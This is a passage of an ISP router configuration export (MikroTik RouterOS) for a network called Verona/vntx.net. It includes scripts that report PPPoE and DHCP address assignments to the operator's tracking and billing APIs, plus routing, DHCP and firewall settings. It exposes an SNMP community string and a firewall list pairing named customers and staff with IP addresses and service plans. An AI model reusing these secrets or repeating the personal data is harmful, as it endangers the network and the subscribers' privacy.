\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
|
||||||
|
or \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
|
||||||
|
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
|
||||||
|
\$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
|
||||||
|
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" remote-address=verona-cgnat remote-ipv6-prefix-pool=verona-v6-pd-pool \
|
||||||
|
use-upnp=no
|
||||||
|
add change-tcp-mss=yes dns-server=204.110.191.240,204.110.191.250 \
|
||||||
|
idle-timeout=1h local-address=100.64.15.253 name=pppoe-altoga on-down="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
|
||||||
|
\_for \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
|
||||||
|
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (AWS API)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
|
||||||
|
r \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
|
||||||
|
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" on-up="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
|
||||||
|
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
|
||||||
|
\n:local max 5\
|
||||||
|
\n\
|
||||||
|
\n:local localAddr \$\"local-address\"\
|
||||||
|
\n:local remoteAddr \$\"remote-address\"\
|
||||||
|
\n:local callerId \$\"caller-id\"\
|
||||||
|
\n:local calledId \$\"called-id\"\
|
||||||
|
\n:local interfaceName [/interface get \$interface name]\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
|
||||||
|
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
|
||||||
|
d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
|
||||||
|
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
|
||||||
|
or \$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
|
||||||
|
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia)\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
|
||||||
|
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
|
||||||
|
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
|
||||||
|
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
|
||||||
|
\$user / \$remoteAddr\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
|
||||||
|
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" remote-address=altoga-cgnat use-upnp=no
|
||||||
|
/queue type
|
||||||
|
add kind=fq-codel name=FQ_Codel
|
||||||
|
/queue interface
|
||||||
|
set ether1 queue=FQ_Codel
|
||||||
|
set ether2 queue=FQ_Codel
|
||||||
|
set ether3-climax-11ghz queue=FQ_Codel
|
||||||
|
set ether4-verona-tower queue=FQ_Codel
|
||||||
|
set ether5 queue=FQ_Codel
|
||||||
|
set ether6-switch queue=FQ_Codel
|
||||||
|
set ether7 queue=FQ_Codel
|
||||||
|
set ether8 queue=FQ_Codel
|
||||||
|
set ether9 queue=FQ_Codel
|
||||||
|
set ether10-powerswitch queue=FQ_Codel
|
||||||
|
set ether11 queue=FQ_Codel
|
||||||
|
set ether12 queue=FQ_Codel
|
||||||
|
set ether13 queue=FQ_Codel
|
||||||
|
set ether14 queue=FQ_Codel
|
||||||
|
set ether15_wave_n queue=FQ_Codel
|
||||||
|
set ether16 queue=FQ_Codel
|
||||||
|
set sfp-sfpplus1-verona-tower-switch queue=FQ_Codel
|
||||||
|
set sfp-sfpplus2-switch queue=FQ_Codel
|
||||||
|
/routing bgp template
|
||||||
|
set default disabled=no output.network=bgp-networks
|
||||||
|
/routing id
|
||||||
|
add disabled=no id=10.254.254.101 name=id-1 select-dynamic-id=""
|
||||||
|
/routing ospf instance
|
||||||
|
add disabled=no in-filter-chain=ospf-in name=default-v2 originate-default=\
|
||||||
|
never out-filter-chain=ospf-out redistribute=connected router-id=id-1
|
||||||
|
add disabled=no in-filter-chain=ospf-in name=default-v3 out-filter-chain=\
|
||||||
|
ospf-out router-id=id-1 version=3
|
||||||
|
/routing ospf area
|
||||||
|
add disabled=no instance=default-v2 name=backbone-v2
|
||||||
|
add disabled=no instance=default-v3 name=backbone-v3
|
||||||
|
/snmp community
|
||||||
|
set [ find default=yes ] addresses=204.110.188.0/22,10.0.0.0/8 name=\
|
||||||
|
kdyyJrT0Mm
|
||||||
|
/system logging action
|
||||||
|
set 3 remote=204.110.191.208 src-address=10.254.254.101
|
||||||
|
add name=logs remote=204.110.191.229 remote-port=1514 src-address=\
|
||||||
|
10.254.254.101 target=remote
|
||||||
|
/interface bridge port
|
||||||
|
add bridge=verona ingress-filtering=no interface=ether6-switch \
|
||||||
|
internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=verona interface=sfp-sfpplus2-switch internal-path-cost=10 \
|
||||||
|
path-cost=10
|
||||||
|
add bridge=verona interface=ether15_wave_n internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=cpe_vlan_10 interface=vlan_10_ether6 internal-path-cost=10 \
|
||||||
|
path-cost=10
|
||||||
|
add bridge=cpe_vlan_10 interface=vlan10_sfpplus2 internal-path-cost=10 \
|
||||||
|
path-cost=10
|
||||||
|
add bridge=*1F interface=*23 internal-path-cost=10 path-cost=10
|
||||||
|
add bridge=cpe_vlan_10 interface=vlan10_ether15
|
||||||
|
add bridge=cpe_vlan_10 interface=ether10-powerswitch
|
||||||
|
/ip firewall connection tracking
|
||||||
|
set icmp-timeout=30s tcp-close-wait-timeout=1m tcp-established-timeout=4h \
|
||||||
|
tcp-fin-wait-timeout=2m tcp-last-ack-timeout=30s \
|
||||||
|
tcp-syn-received-timeout=1m tcp-syn-sent-timeout=2m \
|
||||||
|
tcp-time-wait-timeout=2m udp-stream-timeout=2m
|
||||||
|
/ip neighbor discovery-settings
|
||||||
|
set discover-interface-list=!dynamic
|
||||||
|
/ip settings
|
||||||
|
set tcp-syncookies=yes
|
||||||
|
/interface pppoe-server server
|
||||||
|
add default-profile=pppoe-verona disabled=no interface=verona max-mru=1500 \
|
||||||
|
max-mtu=1500 one-session-per-host=yes service-name=verona
|
||||||
|
add default-profile=pppoe-altoga disabled=no interface=vlan_19_ether6 \
|
||||||
|
max-mru=1500 max-mtu=1500 one-session-per-host=yes service-name=altoga
|
||||||
|
add authentication=mschap2 default-profile=pppoe-verona interface=ether1 \
|
||||||
|
max-mru=1492 max-mtu=1492 one-session-per-host=yes service-name=\
|
||||||
|
veronatest
|
||||||
|
/ip address
|
||||||
|
add address=10.250.1.25/29 interface=ether3-climax-11ghz network=10.250.1.24
|
||||||
|
add address=10.254.254.101 interface=lo network=10.254.254.101
|
||||||
|
add address=100.64.3.254/22 interface=verona network=100.64.0.0
|
||||||
|
add address=204.110.188.254/27 interface=verona network=204.110.188.224
|
||||||
|
add address=100.64.15.254/22 interface=ether6-switch network=100.64.12.0
|
||||||
|
add address=10.10.95.254/20 interface=vlan_10_ether6 network=10.10.80.0
|
||||||
|
add address=10.10.15.254/20 interface=vlan_10_ether6 network=10.10.0.0
|
||||||
|
add address=10.0.101.254/24 interface=sfp-sfpplus1-verona-tower-switch \
|
||||||
|
network=10.0.101.0
|
||||||
|
add address=10.250.1.145/29 interface=ether6-switch network=10.250.1.144
|
||||||
|
add address=204.110.191.30/27 interface=vlan9_sfpplus1 network=204.110.191.0
|
||||||
|
add address=10.25.1.254/24 interface=ether1 network=10.25.1.0
|
||||||
|
/ip dhcp-server
|
||||||
|
add add-arp=yes address-pool=verona-cpe authoritative=after-2sec-delay \
|
||||||
|
dhcp-option-set=vntx interface=cpe_vlan_10 lease-script="{\
|
||||||
|
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
|
||||||
|
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
|
||||||
|
c24944-c947-4e01-9c54-07a1653d2e3e\"\
|
||||||
|
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
|
||||||
|
\n:local max 1\
|
||||||
|
\n\
|
||||||
|
\n:local attempts 0\
|
||||||
|
\n:local success1 0\
|
||||||
|
\n:local success2 0\
|
||||||
|
\n:do {\
|
||||||
|
\n :set attempts (\$attempts+1);\
|
||||||
|
\n :if (\$leaseBound = 0) do {\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
|
||||||
|
t for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
|
||||||
|
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - deassignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
|
||||||
|
or \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
|
||||||
|
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 3s;\
|
||||||
|
\n }\
|
||||||
|
\n } else {\
|
||||||
|
\n :delay 1s;\
|
||||||
|
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
|
||||||
|
seActIP] agent-remote-id];\
|
||||||
|
\n\
|
||||||
|
\n # Try url2 (iptrack.vntx.net) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
|
||||||
|
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success1 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
|
||||||
|
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
|
||||||
|
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
|
||||||
|
;\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n # Try url (gaiia) - assignment\
|
||||||
|
\n :do {\
|
||||||
|
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
|
||||||
|
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
|
||||||
|
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
|
||||||
|
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
|
||||||
|
\\\":\\\"\$remoteID\\\"}\"\
|
||||||
|
\n :set success2 1;\
|
||||||
|
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
|
||||||
|
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n } on-error={\
|
||||||
|
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
|
||||||
|
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
|
||||||
|
\n }\
|
||||||
|
\n\
|
||||||
|
\n :if (\$success1 != 1 || \$success2 != 1) do={\
|
||||||
|
\n :delay 30s;\
|
||||||
|
\n }\
|
||||||
|
\n }\
|
||||||
|
\n :if (\$success1 = 1 && \$success2 = 1) do {\
|
||||||
|
\n :set attempts \$max;\
|
||||||
|
\n }\
|
||||||
|
\n} while ( \$attempts < \$max )\
|
||||||
|
\n}\
|
||||||
|
\n" lease-time=1h name=verona-cpe use-radius=accounting
|
||||||
|
/ip dhcp-server config
|
||||||
|
set interim-update=5m
|
||||||
|
/ip dhcp-server lease
|
||||||
|
add address=10.0.101.2 mac-address=94:C6:91:14:84:44 server=verona-tower
|
||||||
|
add address=10.0.101.4 mac-address=94:C6:91:A1:FE:15 server=verona-tower
|
||||||
|
add address=10.0.101.6 mac-address=00:00:00:00:00:01 server=verona-tower
|
||||||
|
add address=10.0.101.11 client-id=1:58:8a:5a:ef:f:a0 comment="temp exclusion" \
|
||||||
|
mac-address=58:8A:5A:EF:0F:AA server=verona-tower
|
||||||
|
add address=10.0.101.8 comment="exclusion for dell server" mac-address=\
|
||||||
|
00:00:00:00:00:08 server=verona-tower
|
||||||
|
add address=10.0.101.7 client-id=1:dc:2c:6e:dd:87:54 mac-address=\
|
||||||
|
DC:2C:6E:DD:87:54 server=verona-tower
|
||||||
|
add address=100.64.3.250 client-id=1:48:a9:8a:9d:9b:8a mac-address=\
|
||||||
|
48:A9:8A:9D:9B:8A server="verona cgnat"
|
||||||
|
add address=10.0.101.253 client-id=1:c4:ad:34:1a:ca:96 disabled=yes \
|
||||||
|
mac-address=C4:AD:34:1A:CA:96 server=verona-tower
|
||||||
|
add address=10.0.101.253 client-id=1:c4:ad:34:1a:ca:98 disabled=yes \
|
||||||
|
mac-address=C4:AD:34:1A:CA:98 server=verona-tower
|
||||||
|
add address=10.0.101.12 client-id=1:c4:ad:34:1a:ca:96 mac-address=\
|
||||||
|
C4:AD:34:1A:CA:96 server=verona-tower
|
||||||
|
add address=10.0.101.22 client-id=\
|
||||||
|
ff:d8:13:97:9e:0:1:0:1:30:63:25:c7:e0:51:d8:13:97:9e mac-address=\
|
||||||
|
E0:51:D8:13:97:9E server=verona-tower
|
||||||
|
add address=10.0.101.21 client-id=\
|
||||||
|
ff:d8:13:36:6d:0:1:0:1:30:72:cb:b2:e0:51:d8:13:36:6d mac-address=\
|
||||||
|
E0:51:D8:13:36:6D server=verona-tower
|
||||||
|
/ip dhcp-server network
|
||||||
|
add address=10.0.101.0/24 dns-server=204.110.191.240,204.110.191.250 gateway=\
|
||||||
|
10.0.101.254 ntp-server=204.110.191.19
|
||||||
|
add address=10.10.0.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=10.10.15.254 ntp-server=204.110.191.19
|
||||||
|
add address=10.10.80.0/20 dns-server=204.110.191.240,204.110.191.250 domain=\
|
||||||
|
vntx.net gateway=10.10.95.254 ntp-server=204.110.191.19
|
||||||
|
add address=100.64.0.0/22 dns-server=204.110.191.240,204.110.191.20 domain=\
|
||||||
|
vntx.net gateway=100.64.3.254 ntp-server=204.110.191.19
|
||||||
|
add address=100.64.12.0/22 dns-server=204.110.191.240,204.110.191.250 domain=\
|
||||||
|
vntx.net gateway=100.64.15.254 ntp-server=204.110.191.19
|
||||||
|
add address=192.168.99.0/24 dns-server=204.110.191.240,204.110.191.250 \
|
||||||
|
gateway=192.168.99.254
|
||||||
|
add address=204.110.188.224/27 dns-server=204.110.191.240,204.110.191.250 \
|
||||||
|
domain=vntx.net gateway=204.110.188.254 ntp-server=204.110.191.19
|
||||||
|
/ip dhcp-server option sets
|
||||||
|
add name=vntx options=*1
|
||||||
|
/ip dns
|
||||||
|
set servers=9.9.9.9,1.1.1.1
|
||||||
|
/ip firewall address-list
|
||||||
|
add address=204.110.188.225 comment="Graham McIntire (1)" list=VeronaEmployee
|
||||||
|
add address=204.110.188.231 comment="James Hardin (1475)" list=VeronaEmployee
|
||||||
|
add address=100.64.0.38 comment="Brad Wilson (1491)" list=VeronaEmployee
|
||||||
|
add address=100.64.0.62 comment="James Hardin (1475)" list=VeronaEmployee
|
||||||
|
add address=100.64.0.19 comment="TJ Banschbach (1676)" list=50
|
||||||
|
add address=100.64.0.8 comment="Alma Acosta (28)" list=ResidentialBasic
|
||||||
|
add address=100.64.0.31 comment="Scott Armstrong (315)" list=ResidentialBasic
|
||||||
|
add address=100.64.0.29 comment="Beverly Erwin (48)" list=ResidentialBasic
|
||||||
|
add address=100.64.0.18 comment="Karen Stewart (2050)" list=ResidentialBasic
|
||||||
|
add address=100.64.0.17 comment="Nathan McTee (273)" list=ResidentialBasic
|
||||||
|
add address=100.64.0.16 comment="Doug Stowe (1807)" list=ResidentialBasic
|
||||||
|
add address=100.64.0.45 comment="Debra Vega (112)" list=ResidentialBasic
|
||||||
|
add address=100.64.0.50 comment="Steven Spurgers (1211)" list=\
|
||||||
|
ResidentialBasic
|
||||||
|
add address=100.64.0.46 comment="Chrissy Eagle 2 (1530)" list=\
|
||||||
|
ResidentialBasic
|
||||||
|
add address=100.64.0.22 comment="Steve Christiaens (329)" list=\
|
||||||
|
ResidentialBasic
|
||||||
|
add address=100.64.0.23 comment="Ryan McTee (306)" list=ResidentialBasic
|
||||||
|
add address=100.64.0.9 comment="Krysta Bates (218)" list=ResidentialBasic
|
||||||
|
add address=10.10.0.63 comment="Alicia Torres (1938)" list=ResidentialBasic
|
||||||
|
add address=10.10.0.47 comment="Alma Acosta (28)" list=ResidentialBasic
|
||||||
|
add address=10.10.0.17 comment="Judy Devine (277)" list=ResidentialBasic
|
||||||
|
add address=10.10.0.24 comment="Scott Armstrong (315)" list=ResidentialBasic
|
||||||
|
add address=100.64.0.14 comment="Teresa Robinson (376)" list=BusinessBasic
|
||||||
|
add address=10.10.0.59 comment="Teresa Robinson (376)" list=BusinessBasic
|
||||||
|
add address=204.110.188.226 comment="James Genneken (160)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=204.110.188.233 comment="Joey Whitfield (187)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=204.110.188.229 comment="Vance Peltonen (356)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=204.110.188.234 comment="Sonya McTee (324)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=204.110.188.235 comment="Austin Watkins (769)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.48 comment="Pablo Hernandez (2083)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=204.110.188.237 comment="Ron Lewis (302)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.39 comment="Dana Nance (89)" list=ResidentialAdvanced
|
||||||
|
add address=100.64.0.30 comment="Chand Parvathaneni (2396)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.28 comment="Mark Fisher (242)" list=ResidentialAdvanced
|
||||||
|
add address=100.64.0.13 comment="CLAY GILBERT (1839)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.2 comment="JoleneDon Nance (118)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.44 comment="Brad Sherry Slate (1334)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.47 comment="Eric Barrett (2386)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.49 comment="David Lanman (2486)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.37 comment="Rebekah Moore (386)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.69 comment="Yolanda Medrano (2461)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.6 comment="Jennifer Little (1343)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.5 comment="Amber Krings (1273)" list=ResidentialAdvanced
|
||||||
|
add address=100.64.0.4 comment="Cherie Eshelman (1153)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.61 comment="Rachel Fuller (286)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.25 comment="Maria Trejo (2284)" list=ResidentialAdvanced
|
||||||
|
add address=100.64.0.7 comment="Carla Kimberling (1959)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.33 comment="Carmen Lopez (2409)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.51 comment="Kimberly Richards (1726)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.21 comment="Jacqueline Wilder (892)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.3 comment="Derek Rodriguez (2402)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=100.64.0.52 comment="Jonny Taylor (190)" list=ResidentialAdvanced
|
||||||
|
add address=204.110.188.236 comment="Deja Dodson (2320)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=10.10.0.6 comment="Pablo Hernandez (2083)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=10.10.0.49 comment="Cherie Eshelman (1153)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=10.10.0.54 comment="Jennifer Little (1343)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=10.10.0.58 comment="Rebekah Moore (386)" list=ResidentialAdvanced
|
||||||
|
add address=10.10.0.70 comment="Vance Peltonen (356)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=10.10.0.62 comment="Carla Kimberling (1959)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=10.10.0.25 comment="Yolanda Medrano (2461)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=10.10.0.15 comment="Maria Trejo (2284)" list=ResidentialAdvanced
|
||||||
|
add address=10.10.0.69 comment="Rachel Fuller (286)" list=ResidentialAdvanced
|
||||||
|
add address=10.10.0.73 comment="Carmen Lopez (2409)" list=ResidentialAdvanced
|
||||||
|
add address=10.10.0.68 comment="Amber Krings (1273)" list=ResidentialAdvanced
|
||||||
|
add address=10.10.0.91 comment="Anthony Schmoker (1577)" list=\
|
||||||
|
ResidentialAdvanced
|
||||||
|
add address=204.110.188.226 comment="James Genneken (160)" list=Inactive
|
||||||
|
add address=204.110.188.227 comment="Mike Villa (269)" list=Inactive
|
||||||
|
add address=204.110.188.232 comment="Tammy Kinser (738)" list=Inactive
|
||||||
|
add address=204.110.188.234 comment="Sonya McTee (324)" list=Inactive
|
||||||
|
add address=100.64.0.23 comment="Ryan McTee (306)" list=Inactive
|
||||||
|
add address=10.10.0.91 comment="Anthony Schmoker (1577)" list=Inactive
|
||||||
|
add address=100.64.0.60 comment="Allen Taylor (26)" list=BusinessUltra
|
||||||
|
add address=204.110.188.230 comment="Kirk Vanmeter (216)" list=BusinessUltra
|
||||||
|
add address=10.10.0.64 comment="Allen Taylor (26)" list=BusinessUltra
|
||||||
|
